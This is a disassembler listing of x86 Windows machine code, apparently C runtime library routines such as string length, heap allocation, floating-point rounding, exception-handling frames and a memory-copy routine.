--------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_4CDA14 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_4CF028 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_4CF020 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_435EB4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_4CF024 nop call near ptr 2710000h loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_4CF024 nop call near ptr 2700000h loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C30 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_433C3Co call sub_417D8B call sub_41C846 mov dword_4CD994, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_435FD4, offset sub_41C8C9 mov off_435FD0, eax mov off_435FD8, offset sub_41C92F mov off_435FDC, offset sub_41C86F mov off_435FE0, offset sub_41C917 mov off_435FE4, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C48 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4CDA38 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_433C4C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_433C4C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave 